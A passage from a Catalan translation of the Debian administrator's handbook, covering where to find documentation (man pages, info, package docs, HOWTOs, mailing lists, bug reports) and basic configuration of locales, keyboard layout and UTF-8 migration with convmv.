finalment, quan les cerques impliquen expressions complexes amb operacions lògiques, l'eina a triar serà la sintaxi de patrons de cerca de l'aptitude, que és força potent malgrat ser una mica obscura; funciona tant en la línia d'ordres com en els modes interactius.

Capítol 7. Solucionar problemes i trobar informació rellevant

Per a un administrador, l'habilitat més important és poder fer front a qualsevol situació, coneguda o desconeguda. Aquest capítol dóna una sèrie de mètodes que, esperem, us permetran aïllar la causa de qualsevol problema que trobeu, de manera que pugueu resoldre'l.

7.1. Fonts de documentació

Abans de poder entendre què passa realment quan hi ha un problema, heu de conèixer el rol teòric que exerceix cada programa implicat en el problema. Per fer-ho, el millor reflex és consultar la seva documentació; però com que la documentació pot ser molta i poden estar escampada arreu, hauríeu de saber tots els llocs on es pot trobar.

7.1.1. Pàgines de manual

CULTURA RTFM

Aquest acrònim significa “Llegiu el fotut manual” (de l'anglès «Read The F**king Manual»), però també es pot ampliar en una variant més amigable, “Llegiu l'excel·lent manual” (de l'anglès «Read the Fine Manual»). Aquesta frase s'utilitza de vegades en respostes (matusseres) a preguntes de principiants. És una mica abrupte i destil·la una certa molèstia a una pregunta formulada per algú que ni tan sols s'ha molestat a llegir la documentació. Alguns diuen que aquesta resposta clàssica és millor que cap resposta (ja que indica que la documentació conté la informació buscada), o que una resposta més detallada i enutjada.

En qualsevol cas, si algú us respon "RTFM", sovint és prudent no ofendre's. Com que aquesta resposta es pot percebre com una ofensa, és possible que vulgueu intentar evitar rebre-la. Si la informació que es necessita no està al manual, fet que pot passar, ho hauríeu de dir, preferiblement, a la pregunta inicial. També hauríeu de descriure els diferents passos que heu seguit per a trobar informació abans de plantejar una pregunta en un fòrum. Seguint les directrius d'Eric Raymond, és una bona manera d'evitar els errors més comuns i obtenir respostes útils.

→ http://catb.org/~esr/faqs/smart-questions.html

Les pàgines de manual, tot i que relativament d'estil breu, contenen molta informació essencial. Ràpidament passarem per sobre de l'ordre per a veure'ls, proporcionada pel paquet man-db. Escriviu simplement man pàgina-de-manual — la pàgina manual sol tenir el mateix nom que l'ordre la documentació de la qual es busca. Per exemple, per aprendre sobre les possibles opcions per a l'ordre cp, hauríeu d'escriure l'ordre man cp a l'indicador de la «shell» (vegeu la barra lateral TORNAR A LES BASES La «shell», l'intèrpret de la línia d'ordres).

TORNAR A LES BASES La «shell», l'intèrpret de la línia d'ordres

Un intèrpret de línia d'ordres, també anomenat «shell», és un programa que executa ordres que l'usuari ha introduït o bé que s'emmagatzemen en un «script». En mode interactiu, mostra un indicador (en anglès «prompt», normalment acabant en $ per a un usuari normal, o per # per a un administrador) indicant que està a punt de llegir una ordre nova. Apèndix B, Curs breu d'emergència descriu els fonaments d'utilitzar una «shell».

El intèrpret d'ordres per defecte i més utilitzat és bash (Bourne Again Shell), però n'hi ha d'altres, incloent-hi dash, csh, tcsh i zsh.

Entre altres coses, la majoria d'intèrprets d'ordres ofereixen ajuda (escriviu help) i assistència durant l'entrada a l'indicador, com ara la finalització dels noms d'ordres o de fitxers (que podeu activar en general prement la tecla de tabulació tab), o recuperant ordres prèvies (gestió de l'historial; comproveu les assignacions per les tecles "pàgina amunt" i "pàgina avall" a /etc/inputrc).

Les pàgines de manual no només documenten ordres i programes accessibles des de la línia d'ordres, sinó també fitxers de configuració, crides al sistema, funcions de biblioteca, etc. De vegades els noms poden coincidir. Per exemple, l'ordre read de l'intèrpret de comandes té el mateix nom que la crida al sistemaread. Per això les pàgines de manual s'organitzen en seccions numerades:

1

ordres que es poden executar des de la línia d'ordres;

2

crides al sistema (funcions proporcionades pel nucli);

3

funcions de biblioteca (proporcionades per biblioteques del sistema);

4

dispositius (en sistemes de tipus Unix aquests són fitxers especials, normalment situats al directori /dev/);

5

fitxers de configuració (formats i convencions);

6

jocs;

7

conjunts de “macros” i estàndards;

8

ordres d'administració del sistema;

9

rutines del nucli.

És possible especificar la secció de la pàgina de manual que esteu cercant: per veure la documentació per a la crida al sistema read escriureu man 2 read. Quan no s'especifica explícitament cap secció, es mostrarà la primera secció que tingui una pàgina manual amb el nom sol·licitat. Per tant, man shadow mostrarà shadow(5) perquè no hi ha pàgines de manual de shadow en les seccions 1 a 4.

SUGGERIMENTwhatis

Si no voleu mirar la pàgina completa del manual, però només una breu descripció per confirmar que és el que esteu cercant, simplement introduïu l'ordre whatis ordre.

$ whatis scp scp (1) - OpenSSH secure file copy

Aquesta breu descripció s'inclou a la secció NOM al principi de totes les pàgines de manual.

Per descomptat, si no coneixeu els noms de les ordres, el manual no us servirà de molt. Aquest és el propòsit de l'ordre apropos, que us ajuda a realitzar una cerca a les pàgines de manual, o més específicament en les seves descripcions curtes. Cada pàgina de manual comença normalment amb un resum d'una línia. apropos retorna una llista de pàgines de manual el resum de les quals menciona les paraules clau sol·licitades. Si les trieu bé, trobareu el nom de l'ordre que necessiteu.

Exemple 7.1. Trobar cp amb apropos

$ apropos "copy file" cp (1) - copy files and directories cp (1posix) - copy files cpio (1) - copy files to and from archives exec (1posix) - execute commands and open, close, or copy file descriptors install (1) - copy files and set attributes ntfscp (8) - copy file to an NTFS volume.

SUGGERIMENT Navegar seguint enllaços

Moltes pàgines de manual tenen una secció “VEGEU TAMBÉ” («SEE ALSO»), normalment al final. Es refereix a altres pàgines de manual rellevants per a ordres similars, o a documentació externa. D'aquesta manera, és possible trobar la documentació pertinent fins i tot quan la primera opció no és l'òptima.

L'ordre man no és l'únic mitjà de consultar les pàgines de manual, ja que els programes khelpcenter i konqueror (de KDE) i yelp (sota GNOME) també ofereixen aquesta possibilitat. També hi ha una interfície web, proporcionada pel paquet man2html, que permet veure pàgines manuals en un navegador web. En un ordinador on aquest paquet està instal·lat, utilitzeu aquest URL després de seguir les instruccions a /usr/share/doc/man2html/README. Debian:

→ http://localhost/cgi-bin/man/man2html

Aquesta utilitat requereix un servidor web. Per això hauríeu de triar instal·lar aquest paquet en un dels vostres servidors: tots els usuaris de la xarxa local podrien beneficiar-se d'aquest servei (incloent màquines no Linux), i això us permetrà no haver de configurar un servidor HTTP a cada estació de treball. Si el vostre servidor també és accessible des d'altres xarxes, pot ser desitjable restringir l'accés a aquest servei només als usuaris de la xarxa local.

Finalment, però no menys important, podeu veure totes les pàgines de manual disponibles a Debian (fins i tot les que no estan instal·lades a la vostra màquina) al servei manpages.debian.org. Ofereix cada pàgina de manual en múltiples versions, una per a cada versió de Debian.

→ https://manpages.debian.org

NORMATIVA DEBIAN Pàgines de manual obligatòries

Debian requereix que cada programa tingui una pàgina de manual. Si l'autor principal no en proporciona cap, el mantenidor del paquet Debian normalment n'escriurà una pàgina mínima que, com a mínim, dirigirà el lector a la ubicació de la documentació original.

7.1.2. Documents info

El projecte GNU ha escrit manuals per a la majoria dels seus programes en el format info; per això moltes pàgines manuals es refereixen a la documentació info corresponent. Aquest format ofereix alguns avantatges, però el programa per defecte per veure aquests documents (que s'anomena info) també és una mica més complex. Us convindria utilitzar pinfo en el seu lloc (el podeu trobar al paquet pinfo).

La documentació info té una estructura jeràrquica, i si invoqueu pinfo sense paràmetres, mostrarà una llista dels nodes disponibles al primer nivell. Normalment, els nodes porten el nom de les ordres corresponents.

Amb pinfo, la navegació entre aquests nodes és fàcil d'aconseguir amb les tecles de fletxa. Alternativament, també podeu utilitzar un navegador gràfic, que és molt més fàcil d'usar. Una vegada més, el konqueror i el yelp funcionen; el paquet info2www també proporciona una interfície web.

→ http://localhost/cgi-bin/info2www

Tingueu en compte que el sistema info no és adequat per a la traducció, a diferència del sistema de pàgines man. Els documents info estan, per tant, gairebé sempre en anglès. No obstant això, quan demaneu al programa pinfo que mostri una pàgina info no existent, acabarà anant a la pàgina man amb el mateix nom (si existeix) que, aquesta, sí que podria estar traduïda.

7.1.3. Documentació específica

Cada paquet inclou la seva pròpia documentació. Fins i tot els programes menys ben documentats generalment tenen un fitxer README que conté alguna informació interessant i/o important. Aquesta documentació està instal·lada al directori /usr/share/doc/paquet/ (on paquet representa el nom del paquet). Si la documentació és particularment gran, pot no ser inclosa en el paquet principal del programa, sinó que pot estar separada en un paquet dedicat que normalment s'anomena paquet-doc. El paquet principal generalment recomana el paquet de documentació perquè el pugueu trobar fàcilment.

El directori /usr/share/doc/paquet/ també conté alguns fitxers proporcionats per Debian que completen la documentació especificant les particularitats o millores del paquet en comparació amb una instal·lació tradicional del programari. El fitxer README.Debian també indica totes les adaptacions fetes per a complir amb la Normativa de Debian. El fitxer changelog.Debian.gz permet a l'usuari seguir les modificacions fetes al paquet amb el temps: és molt útil intentar entendre què ha canviat entre dues versions instal·lades que no tenen el mateix comportament. Finalment, a vegades hi ha un fitxer NEWS.Debian.gz que documenta els principals canvis del programa que poden afectar directament l'administrador (vegeu Secció 6.7.2, «Gestió de problemes després d'una actualització»).

7.1.4. Llocs web

En la majoria dels casos, els programes de programari lliure tenen llocs web que s'utilitzen per distribuir-los i per reunir la comunitat dels seus desenvolupadors i usuaris. Aquests llocs sovint van plens d'informació rellevant de diverses formes: documentació oficial, FAQ(de «Frequently Asked Questions» o “Preguntes freqüents”), arxius de llistes de correu, etc. Els problemes que podeu trobar sovint ja han estat objecte de moltes preguntes; les PMF o els arxius de llistes de correu poden tenir-ne una solució. Un bon domini dels motors de cerca resultarà immensament valuós per trobar ràpidament les pàgines rellevants (restringint la cerca al domini d'Internet o subdomini dedicat al programa). Si la cerca retorna massa pàgines o si els resultats no coincideixen amb el que cerqueu, podeu afegir la paraula clau debian per limitar els resultats i apuntar a la informació rellevant.

SUGGERIMENT De l'error a la solució

Si el programari retorna un missatge d'error molt específic, introduïu-lo al motor de cerca (entre cometes dobles, ", per tal de cercar no paraules clau individuals, sinó per a la frase completa). En la majoria dels casos, els primers enllaços retornats contindran la resposta que necessiteu.

En altres casos, obtindreu errors molt generals, com ara “permís denegat”. En aquest cas, és millor comprovar els permisos dels elements implicats (fitxers, ID d'usuari, grups, etc.).

Si no sabeu l'adreça del lloc web del programa, hi ha diversos mitjans per obtenir-la. Primer, comproveu si hi ha un camp Homepage a la metainformació del paquet (apt show paquet). Alternativament, la descripció del paquet pot contenir un enllaç al lloc web oficial del programa. Si no s'indica cap URL, consulteu /usr/share/doc/paquet/copyright. El mantenidor de Debian generalment indica en aquest fitxer on va obtenir el codi font del programa, i és probable que sigui el lloc web que heu de trobar. Si en aquesta etapa la vostra cerca encara no és fructífera, consulteu un directori de programari lliure, com el Directori de Programari Lliure de FSF, o cerqueu directament amb un motor de cerca, com ara Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

També podeu voler comprovar el wiki de Debian, un lloc web col·laboratiu on qualsevol, fins i tot els nous visitants, poden fer suggeriments directament des del navegador. És utilitzat igualment pels desenvolupadors que dissenyen i especifiquen els seus projectes, i pels usuaris que comparteixen el seu coneixement escrivint documents en col·laborativament.

→ https://wiki.debian.org/

7.1.5. Tutorials (HOWTO)

Un HOWTO és un document que descriu, en termes concrets i pas a pas, com (de l'anglès «how to...”) arribar a un objectiu predefinit. Els objectius coberts són relativament variats, però sovint tenen naturalesa tècnica: per exemple, la configuració de l'emmascarament IP, la configuració de RAID via programari, la instal·lació d'un servidor Samba, etc. Aquests documents sovint intenten cobrir tots els possibles problemes que poden ocórrer durant l'aplicació d'una determinada tecnologia.

Molts d'aquests tutorials són gestionats pel Projecte de Documentació de Linux (LDP o «Linux Documentation Project»), el lloc web del qual allotja tots aquests documents:

→ https://www.tldp.org/

Debian també proporciona tutorials per als seus usuaris:

→ https://www.debian.org/doc/

Tots aquests documents han d'agafar-se amb pinces. Sovint tenen diversos anys d'antiguitat ; la informació que contenen de vegades és obsoleta. Aquest fenomen és encara més freqüent per a les seves traduccions, ja que les actualitzacions no són ni sistemàtiques ni instantànies després de la publicació d'una nova versió dels documents originals. Altres tutorials avui dia són proporcionats per “bloguers”, que comparteixen la seva solució individual amb el lector interessat. Sovint manquen d'informació important, és a dir, la raó per la qual s'ha triat alguna configuració sobre una altra, o per la qual alguna opció ha estat habilitada o desactivada. Com que els blogs i els llocs web personals van fer que fos tan fàcil compartir, moltes d'aquestes guies d'aprenentatge, sovint breus, existeixen però només unes poques són mantingudes activament i ben cuidades. Això pot fer difícil trobar el document “adequat” al vostre cas. Tot això forma part de les alegries de treballar en un entorn voluntari i sense lligams…

7.2. Procediments comuns

El propòsit d'aquesta secció és presentar alguns consells generals sobre certes operacions que un administrador haurà de realitzar amb freqüència. Per descomptat, aquests procediments no abastaran tots els casos possibles de manera exhaustiva, però poden servir de punt de partida per als casos més difícils.

DESCOBRIMENTDocumentació en altres idiomes

Sovint, la documentació traduïda a una llengua no anglesa està disponible en un paquet separat amb el nom del paquet corresponent, seguit per -lang (on lang és el codi ISO de dues lletres per a la llengua).

Per exemple, el paquet debian-reference-fr és la versió francesa de les guies de referència per Debian (inicialment escrites en anglès per Osamau Aoki), i el paquet manpages-de conté la versió alemanya de les pàgines de manual sobre l'ús de GNU/Linux.

7.2.1. Configurar un programa

Quan voleu configurar un paquet desconegut heu de procedir per etapes. En primer lloc, hauríeu de llegir el que ha documentat el mantenidor del paquet. Llegir /usr/share/doc/paquet/README.Debian us permetrà conèixer les disposicions específiques fetes per simplificar l'ús del programa. De vegades és essencial per tal d'entendre les diferències del comportament original del programa, com es descriu a la documentació genèrica, com ara als «howtos». A vegades, aquest fitxer també detalla els errors més comuns per tal d'evitar perdre temps en problemes comuns.

Tot seguit, hauríeu de mirar la documentació oficial del programari — acudiu a Secció 7.1, «Fonts de documentació» per identificar les diferents fonts de documentació existents. L'ordre dpkg -L paquet dóna una llista de fitxers inclosos en el paquet; per tant, podeu identificar ràpidament la documentació disponible (així com els fitxers de configuració, situats a /etc/). L'ordre dpkg -s paquet mostra les metadades del paquet i mostra els possibles paquets recomanats o suggerits; allà podeu trobar documentació o una utilitat que facilitarà la configuració del programari.

Finalment, els fitxers de configuració estan sovint “autodocumentats” amb molts comentaris explicatius que detallen els diversos valors possibles per a cada configuració. Tant és així que a vegades n'hi ha prou amb triar una línia per activar d'entre les disponibles. En alguns casos es proporcionen exemples de fitxers de configuració al directori /usr/share/doc/paquet/examples/. Poden servir com a base per al vostre propi fitxer de configuració.

Normativa Debian Ubicació dels exemples

Tots els exemples s'han d'instal·lar al directori /usr/share/doc/paquet/examples/. Això pot ser un fitxer de configuració, codi font de programa (un exemple sobre l'ús d'una biblioteca), o un «script» de conversió de dades que l'administrador pot utilitzar en certs casos (com ara per inicialitzar una base de dades). Si l'exemple és específic a una arquitectura en particular, s'hauria d'instal·lar a /usr/lib/paquet/examples/ i hauria d'haver-hi un enllaç que assenyali a aquest fitxer al directori /usr/share/doc/paquet/examples/.

7.2.2. Monitoritzar què fan els dimonis

Comprendre el que fa un dimoni és una mica més complicat, ja que no interactua directament amb l'administrador. Per comprovar que un dimoni està funcionant realment cal verificar-ho. Per exemple, per comprovar el dimoni Apache (servidor web), proveu-ho amb una sol·licitud HTTP.

TORNAR A LES BASES Dimoni

Un dimoni és un programa que no és explícitament invocat per l'usuari i que es manté en segon pla, esperant que es compleixi una determinada condició per a realitzar una tasca. Molts programes de servidor són dimonis, un terme que explica que la lletra “d” és freqüentment present al final del seu nom (sshd, smtpd, httpd, etc.).

Per permetre aquestes proves, cada dimoni generalment registra tot el que fa, així com qualsevol error que troba, en el que s'anomenen "fitxers de registre" o "registres de sistema" («logs» en anglès). Els registres s'emmagatzemen a /var/log/ o un dels seus subdirectoris. Per conèixer el nom precís d'un fitxer de registre per a cada dimoni, consulteu-ne la documentació. Nota: una única prova no sempre és suficient si no cobreix tots els casos d'ús possibles; alguns problemes només ocorren en circumstàncies particulars.

EINA El dimoni rsyslogd

El rsyslogd és especial: recull registres (missatges interns del sistema) que li són enviats per altres programes. Cada entrada de registre s'associa amb un subsistema (correu electrònic, nucli, autenticació, etc.) i una prioritat; rsyslog processa aquests dos ítems d'informació per decidir què fer. El missatge de registre es pot enregistrar en diversos fitxers de registre, i/o enviar-se a una consola d'administració. Els detalls es defineixen al fitxer de configuració /etc/rsyslog.conf (documentat a la pàgina manual del mateix nom que es proporciona al paquet rsyslog-doc).

Certes funcions C, que estan especialitzades en l'enviament de registres, simplifiquen l'ús del dimoni rsyslogd. Tanmateix, alguns dimonis gestionen els seus propis fitxers de registre (aquest és el cas, per exemple, de samba, que implementa els recursos compartits de Windows en Linux).

Tingueu en compte que quan systemd està en ús, els registres són recollits per systemd abans de ser reenviats a rsyslogd. Per tant, també estan disponibles a través de l'historial de systemd i es poden consultar amb journalctl (vegeu Secció 9.1.1, «El sistema d'inici de systemd» per als detalls).

Com a operació preventiva, l'administrador hauria de llegir regularment els registres més rellevants del servidor. Per tal de poder diagnosticar problemes abans fins i tot que els descontents usuaris els notifiquin. De fet, els usuaris poden esperar a vegades que un problema es repeteixi durant diversos dies abans d'informar-ne. En molts casos, hi ha eines específiques per analitzar el contingut dels fitxers de registre més grans. En particular, aquestes utilitats existeixen per a servidors web (com ara analog, awstats, awffull per Apache), servidors FTP, servidors «proxy/cache», tallafocs, servidors de correu electrònic, servidors de DNS i fins i tot per a servidors d'impressió. Altres eines, com logcheck (un programari de què hem parlat aCapítol 14, Seguretat), escanegen aquests fitxers a la recerca d'alertes que s'hagin de tractar.

7.2.3. Demanar ajuda en una llista de correu

Si les diverses cerques no us han ajudat a arribar a l'arrel d'un problema, és possible obtenir ajuda d'altres persones, potser més experimentades. Aquest és exactament el propòsit de la llista de correu <debian-user@lists.debian.org> i de les específiques per a un idioma <debian-user-idioma@lists.debian.org>. Igual que en qualsevol comunitat, hi ha normes que han de respectar-se. Abans de fer cap pregunta, hauríeu de comprovar que el problema no estigui ja tractat en discussions recents a la llista o per cap documentació oficial.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

TORNAR A LES BASES S'aplica la «netiquette»

En general, per a tota la correspondència a les llistes de correu electrònic, s'han de seguir les “normes de la xarxa” (en anglès «netiquette»). Aquest terme es refereix a un conjunt de normes de sentit comú, des de la cortesia comuna fins a errors que haurien d'evitar-se.

→ https://tools.ietf.org/html/rfc1855

A més, per a qualsevol canal de comunicació gestionat pel projecte Debian, esteu subjecte al Codi de Conducta de Debian:

→ https://www.debian.org/code_of_conduct

Un cop es compleixin aquestes dues condicions, podeu pensar a descriure el vostre problema a la llista de correu. Incloeu-hi tota la informació rellevant possible: proves diverses realitzades, documentació consultada, com s'ha intentat diagnosticar el problema, els paquets en qüestió o els que poden estar implicats, etc. Comproveu el sistema de seguiment d'errors de Debian (BTS, descrit a la barra lateral Secció 1.3.2.1, «Informant errors») per a problemes similars, i esmenteu els resultats d'aquesta cerca, proporcionant enllaços als errors trobats. El BTS comença a:

→ https://bugs.debian.org/

Com més cortesos i precisos sigueu, majors són les possibilitats d'obtenir una resposta o, almenys, alguns elements de resposta. Si rebeu informació rellevant per correu electrònic privat, penseu a resumir aquesta informació públicament perquè uns altres puguin beneficiar-se'n. Això també permet que els arxius de la llista, cercats a través de diversos motors de cerca, mostrin la resolució per a altres que puguin tenir la mateixa pregunta.

7.2.4. Informar d'un error quan un problema és massa difícil

Si tots els esforços per resoldre un problema fracassen, és possible que la resolució no sigui la vostra responsabilitat, i que el problema es degui a un error del programa. En aquest cas, el procediment adequat és informar de l'error a Debian o directament als desenvolupadors originals. Per a això, aïlleu el problema en la mesura que sigui possible i crea una situació de prova mínima en la qual es pot reproduir. Si sabeu quin programa és la causa aparent del problema, podeu trobar el seu paquet corresponent utilitzant l'ordre dpkg -S fitxer_en_qüestió. Comproveu el sistema de seguiment d'errors (https://bugs.debian.org/paquet) per assegurar-vos que no s'hagi informat ja de l'error. A continuació, podeu enviar el vostre propi informe d'error, utilitzant l'ordre reportbug, incloent-hi tota la informació possible, especialment una descripció completa d'aquests casos de prova mínims que permetran a qualsevol poder reproduir l'error.

Els elements d'aquest capítol són un mitjà per a resoldre de manera efectiva qüestions que poden sorgir en els següents capítols. Utilitzeu-los tan sovint com calgui!

Capítol 8. Configuració bàsica: Xarxa, Comptes, Impressió...

Un ordinador amb una nova instal·lació creada amb debian-installer té la intenció de ser el més funcional possible, però encara s'han de configurar molts serveis. A més, sempre és bo saber com canviar determinats elements de configuració definits durant el procés d'instal·lació inicial.

Aquest capítol revisa tot el que podríem anomenar “configuració bàsica”: xarxes, idioma i localització, usuaris i grups, impressió, punts de muntatge, etc.

8.1. Configurar el sistema per a un altre idioma

Si el sistema s'instal·la havent triat l'idioma francès, la màquina probablement ja tindrà el francès establert com a llengua per defecte. Però és bo saber què fa l'instal·lador per establir l'idioma, de manera que més tard, si sorgeix la necessitat, el podeu canviar.

EINAL'ordre locale per mostrar la configuració actual

L'ordre locale llista un resum de la configuració actual de diversos paràmetres de localització (format de data, format de nombres, etc.), presentat en forma d'un grup de variables d'entorn estàndard dedicades a la modificació dinàmica d'aquests paràmetres.

8.1.1. Configurar l'idioma per defecte

Una localització («locale») és un grup de configuracions regionals. Això inclou no només la llengua per al text, sinó també el format per a mostrar nombres, dates, hores i sumes monetàries, així com les regles de comparació alfabètica (per a tenir degudament en compte els caràcters accentuats). Tot i que cadascun d'aquests paràmetres es pot especificar independentment dels altres, en general utilitzem un «locale», que és un conjunt coherent de valors per a aquests paràmetres que corresponen a una “regió” en el sentit més ampli. Aquests «locales» s'indiquen normalment sota la forma codi-idioma_CODI-PAÍS, de vegades amb un sufix per especificar el joc de caràcters i la codificació que s'ha d'utilitzar. Això permet la consideració de les diferències idiomàtiques o tipogràfiques entre diferents regions amb un llenguatge comú.

CULTURA Jocs de caràcters

Històricament, cada «locale» té un “joc de caràcters” associat (grup de caràcters coneguts) i un “codificació” preferida (representació interna dels caràcters per part de l'ordinador).

Les codificacions més populars per a llenguatges derivats del llatí es limitaven a 256 caràcters perquè optaven per utilitzar un sol byte per a cada caràcter. Com que 256 caràcters no eren suficients per cobrir totes les llengües europees, calien múltiples codificacions, i així és com es va arriabar des de l'ISO-8859-1 (també conegut com a “Latin 1”) i fins a l'ISO-8859-15 (també conegut com a “Latin 9”), entre d'altres.

Treballar amb llengües estrangeres sovint implicava canviar regularment entre diverses codificacions i jocs de caràcters. A més, redactar documents multilingües va portar a més problemes, gairebé intractables. Unicode (un super-catàleg de gairebé tots els sistemes d'escriptura de totes les llengües del món) va ser creat per superar aquest problema. Una de les codificacions d'Unicode, UTF-8, conserva tots els 128 símbols ASCII (codis de 7 bits), però gestiona altres caràcters de manera diferent. Aquests estan precedits per una seqüència d'escapament específica d'uns quants bits, que implícitament defineix la longitud del caràcter. Això permet codificar tots els caràcters Unicode en una seqüència d'un o més bytes. El seu ús ha estat popularitzat pel fet que és la codificació predeterminada en documents XML.

Aquesta és la codificació que s'ha d'utilitzar generalment, i per tant és la predeterminada en els sistemes Debian.

El paquet locales inclou tots els elements necessaris per al correcte funcionament de la “localització” d'aplicacions. Durant la instal·lació, aquest paquet us demanarà seleccionar el conjunt de llengües admeses. Aquest conjunt es pot canviar en qualsevol moment executant dpkg-reconfigure locales com a «root».

La primera pregunta us convida a seleccionar els «locales» a considerar. Seleccionar totes les localitzacions angleses (que significa totes les que comencen amb “en_”) és una opció raonable. No vacil·leu a habilitar també altres localitzacions si la màquina és usada per usuaris estrangers. La llista de localitzacions habilitades al sistema s'emmagatzema al fitxer /etc/locale.gen. És possible editar aquest fitxer a mà, però hauríeu d'executar locale-gen després de qualsevol modificació. Això generarà els fitxers necessaris perquè les localitzacions afegides funcionin, i eliminarà qualsevol fitxer ja obsolet.

La segona pregunta, titulada “localització per defecte del sistema”, sol·licita un «locale» per defecte. L'opció recomanada als EUA és “en_US.UTF-8”. Els angloparlants britànics preferiran «en_GB.UTF-8», i els canadencs preferiran «en_CA.UTF-8» o, pel francès, «fr_CA.UTF-8». El fitxer /etc/default/locale es modificarà per emmagatzemar aquesta tria. Des d'allà, és recollit per totes les sessions d'usuari, ja que PAM injectarà el seu contingut a la variable d'entorn LANG.

El paquet locales-all conté les dades de configuració regional precompilades per a tots els locals admesos.

ENTRE BASTIDORS/etc/environment i /etc/default/locale

El fitxer /etc/environment proporciona als programes login, gdm o fins i tot ssh les variables d'entorn correctes que s'han de crear.

Aquestes aplicacions no creen aquestes variables directament, sinó que ho fan a través d'un mòdul PAM (pam.env.so). PAM (de l'anglès «Pluggable Authentication Module» o “mòdul d'autenticació connectable”) és una biblioteca modular que centralitza els mecanismes d'autenticació, inicialització de sessió i gestió de contrasenyes. Vegeu a Secció 11.7.3.2, «Configuració del PAM» un exemple de la configuració del PAM.

El fitxer /etc/default/locale funciona de manera similar, però conté només la variable d'entorn LANG. Gràcies a aquesta divisió, alguns usuaris de PAM poden heretar un entorn complet sense localització. De fet, generalment es desaconsella executar programes de servidor amb localització activada; d'altra banda, es recomana la localització i la configuració regional per a programes que obrin les sessions d'usuari.

8.1.2. Configurar el teclat

Fins i tot si la disposició del teclat es gestiona de manera diferent en la consola i en el mode gràfic, Debian ofereix una única interfície de configuració que funciona per a ambdues: es basa en debconf i s'implementa en el paquet keyboard-configuration. Així, l'ordre dpkg-reconfigure keyboard-configuration es pot utilitzar en qualsevol moment per restablir la disposició del teclat.

Les preguntes són rellevants per a la disposició de teclat físic (un teclat estàndard de PC als EUA serà una "Genèric de 104 tecles"), llavors la disposició a triar (generalment "EUA"), i després la posició de la tecla AltGr (Alt dreta). Finalment ve la qüestió de la tecla que s'ha d'utilitzar com a teclar «Compose», que permet introduir caràcters especials combinant diverses tecles. Escriviu successivament Compose ' e i es produirà una “e” amb accent tancat (“é”). Totes aquestes combinacions es descriuen en el fitxer /usr/share/X11/locale/en_US.UTF-8/Compose (o un altre fitxer, determinat segons la configuració regional indicada per /usr/share/X11/locale/compose.dir).

Tingueu en compte que la configuració del teclat per al mode gràfic que es descriu aquí només afecta la disposició predeterminada; els entorns GNOME i KDE Plasma, entre d'altres, proporcionen un panell de control de teclat a les seves preferències que permet a cada usuari tenir la seva pròpia configuració. Algunes opcions addicionals sobre el comportament d'algunes tecles particulars també estan disponibles en aquests panells de control.

8.1.3. Migració a UTF-8

La generalització de la codificació UTF-8 ha estat una solució molt esperada davant nombroses dificultats amb la interoperabilitat, ja que facilita l'intercanvi internacional i elimina els límits arbitraris dels caràcters que es poden utilitzar en un document. L'únic inconvenient és que havia de passar per una fase de transició bastant difícil. Com que no podia ser completament transparent (és a dir, no podia passar al mateix temps a tot el món), es requerien dues operacions de conversió: una sobre el contingut del fitxer i l'altra sobre els noms de fitxer. Afortunadament, la major part d'aquesta migració s'ha completat i la citem en gran manera per a referència.

CULTURAMojibake i els errors d'interpretació

Quan s'envia un text (o s'emmagatzema) sense la informació de codificació, no sempre és possible que el destinatari sàpiga amb certesa quina convenció s'ha d'utilitzar per determinar el significat d'un conjunt de bytes. Normalment hom es pot fer una idea obtenint estadístiques sobre la distribució de valors presents en el text, però això no sempre dóna una resposta definitiva. Quan el sistema de codificació triat per a la lectura difereix del que s'ha utilitzat per escriure el fitxer, els bytes estan mal interpretats i, en el millor dels casos, obtindreu errors en alguns caràcters o, en el pitjor, quelcom completament il·legible.

Per tant, si un text francès sembla normal amb l'excepció de lletres accentuades i certs símbols que semblen ser substituïts per seqüències de caràcters com “Ã©” o Ã¨” o “Ã§”, probablement és un fitxer codificat com a UTF-8, però interpretat com a ISO-8859-1 o ISO-8859-15. Aquest és un signe d'una instal·lació local que encara no s'ha migrat a UTF-8. Si, en canvi, veieu signes de pregunta en lloc de lletres accentuades — fins i tot si aquestes marques de pregunta també semblen reemplaçar un caràcter que hauria d'haver seguit la lletra accentuada — és probable que la vostra instal·lació ja estigui configurada per a UTF-8 i que hàgiu rebut un document codificat en «Western ISO».

Fins aquí els casos “simples”. Aquests casos només apareixen en la cultura occidental, ja que Unicode (i UTF-8) va ser dissenyat per maximitzar els punts comuns amb codificacions històriques per a les llengües occidentals basades en l'alfabet llatí, que permet el reconeixement de parts del text fins i tot quan alguns caràcters manquen.

En configuracions més complexes que, per exemple, impliquen dos entorns corresponents a dos idiomes diferents que no utilitzen el mateix alfabet, sovint obtindreu resultats completament il·legibles, una sèrie de símbols abstractes que no tenen res a veure entre si. Això és especialment comú amb les llengües asiàtiques a causa dels seus nombrosos idiomes i sistemes d'escriptura. La paraula japonesa mojibake ha estat adoptada per descriure aquest fenomen. Quan apareix, el diagnòstic és més complex i la solució més simple és sovint migrar a UTF-8 a banda i banda.

Pel que fa als noms d'arxius, la migració pot ser relativament senzilla. L'eina convmv (al paquet amb el mateix nom) es va crear específicament per a aquest propòsit; permet reanomenar fitxers d'una codificació a una altra. L'ús d'aquesta eina és relativament senzill, però recomanem fer-ho en dos passos per evitar sorpreses. El següent exemple il·lustra un entorn UTF-8 que conté noms de directori codificats en ISO-8859-15, i l'ús de convmv per canviar-los el nom.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

Per al contingut de fitxers, els procediments de conversió són més complexos a causa de la gran varietat de formats de fitxer existents. Alguns formats de fitxer inclouen informació de codificació que facilita les tasques del programari utilitzat per tractar-los; és suficient, llavors, obrir aquests fitxers i tornar a desar-los especificant la codificació UTF-8. En altres casos, heu d'especificar la codificació original (ISO-8859-1 o «Western», o ISO-8859-15 o " Western (Euro)" segons el cas) a l'obrir l'arxiu.

